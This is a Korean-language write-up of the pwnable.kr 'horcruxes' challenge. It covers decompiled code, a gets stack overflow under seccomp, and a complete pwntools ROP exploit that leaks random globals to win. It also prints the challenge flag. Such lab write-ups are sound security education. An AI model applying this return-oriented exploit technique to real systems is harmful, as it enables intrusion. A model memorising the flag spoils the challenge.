Pwnablekr_Toddlers Bottle_horcruxes

적용된 보호 기법은 다음과 같다.

다음은 헥스레이 결과이다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST18_4@1
 
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  alarm(0x3Cu);
  hint();
  init_ABCDEFG();
  v3 = seccomp_init(0);
  seccomp_rule_add(v3, 2147418112, 173, 0);
  seccomp_rule_add(v3, 2147418112, 5, 0);
  seccomp_rule_add(v3, 2147418112, 3, 0);
  seccomp_rule_add(v3, 2147418112, 4, 0);
  seccomp_rule_add(v3, 2147418112, 252, 0);
  seccomp_load(v3);
  return ropme();
}

main에서 seccomp를 이용하여 사용할 수 있는 시스템콜을 제한한다. read, write, open, sys_exit_groupsys_rt_sigreturn 시스템콜만 허용하도록 설정한다.

60초 알람을 설정하고, init_ABCDEFG 함수를 호출하여 전역변수를 초기화한다. 전역변수 초기화에는 랜덤 값을 이용한다.

unsigned int init_ABCDEFG()
{
  int v0; // eax@4
  unsigned int result; // eax@4
  unsigned int buf; // [sp+8h] [bp-10h]@1
  int fd; // [sp+Ch] [bp-Ch]@1
 
  fd = open("/dev/urandom", 0);
  if ( read(fd, &buf, 4u) != 4 )
  {
    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);
  a = -559038737 * rand() % 0xCAFEBABE;
  b = -559038737 * rand() % 0xCAFEBABE;
  c = -559038737 * rand() % 0xCAFEBABE;
  d = -559038737 * rand() % 0xCAFEBABE;
  e = -559038737 * rand() % 0xCAFEBABE;
  f = -559038737 * rand() % 0xCAFEBABE;
  v0 = rand();
  g = -559038737 * v0 % 0xCAFEBABE;
  result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE;
  sum = result;
  return result;
}

다음은 main 함수에서 마지막으로 호출되는 ropme 함수이다.

int ropme()
{
  char s[100]; // [sp+4h] [bp-74h]@15
  int v2; // [sp+68h] [bp-10h]@1
  int fd; // [sp+6Ch] [bp-Ch]@16
 
  printf("Select Menu:");
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}

ropme에서는 유저에게 입력값을 받고, 입력값에 따라 함수를 호출한다. a, b, c, d, e, f, ginit_ABCDEFG에서 랜덤값을 저장했던 전역변수이다.

이후 gets로 받은 값이 전역변수 sum과 같은 값인지 판단하여 맞다면 flag를 출력한다. 이 때 gets에서 스택 오버플로우를 일으킬 수 있다.

간단하게 return address를 변경할 수 있지만, 문제가 있다. flag를 출력하는 코드의 주소에 0x0a가 포함된다. 0x0agets로 입력할 수 없다. 기존 return address에도 080a가 있지만, NULL 문자로 인해 0a가 지워진다.

생각할 수 있는 공격 방법은 다음과 같다.

  1. ROP를 이용하여 함수를 직접 호출 2. 위의 A, B, C, D, E, F, G 함수를 이용하여 전역변수의 값을 유출한 후 sum값을 찾아 이용

2번이 문제의 의도로 보이며, 더 편해 보인다. 1번 방법을 쓰려면 파일 이름인 flag 문자열이나 주소 leak을 위한 %d 등을 사용해야 하는데, 이들이 저장된 read only 주소에 0x0a가 포함되기 때문에 복잡하다.

A부터 차례대로 호출하도록 ROP를 짰다.

from pwn import *
 
def getGlobals(proc):
        num = proc.recvline()
        num = num.split('+')
    num = num[1].split(')')
        num = int(num[0], 10)
        return num
 
elf = '/home/horcruxes/horcruxes'
binf = ELF(elf)
 
A = binf.symbols['A']
B = binf.symbols['B']
C = binf.symbols['C']
D = binf.symbols['D']
E = binf.symbols['E']
F = binf.symbols['F']
G = binf.symbols['G']
 
main_callrop = 0x0809FFFC
 
payload = 'A'*116 + 'B'*4 + p32(A) + p32(B) + p32(C) + p32(D) + p32(E) + p32(F) + p32(G) + p32(main_callrop)
 
p = remote("localhost", 9032)
 
p.sendline("1")
 
info(p.recvuntil('earned? : '))
 
p.sendline(payload)
info(p.recvuntil('kill Voldemort'))
 
p.recvuntil('You found')
 
a = getGlobals(p)
b = getGlobals(p)
c = getGlobals(p)
d = getGlobals(p)
e = getGlobals(p)
f = getGlobals(p)
g = getGlobals(p)
 
sumall = (a+b+c+d+e+f+g) & 0xFFFFFFFF
 
info('a : %d b : %d c : %d d : %d e : %d f : %d g : %d' %(a, b, c, d, e, f, g))
info("sum is %d" %sumall)
 
info(p.recvuntil('Select Menu:'))
p.sendline("1")
 
info(p.recvuntil('earned? : '))
p.sendline(str(sumall))
 
p.interactive()

flag는 Magic_spell_1s_4vad4_K3daVr4! 이다.


tags: writeup, pwnable, elf file, linux, c lang, memory corruption, return oriented programming, x86asm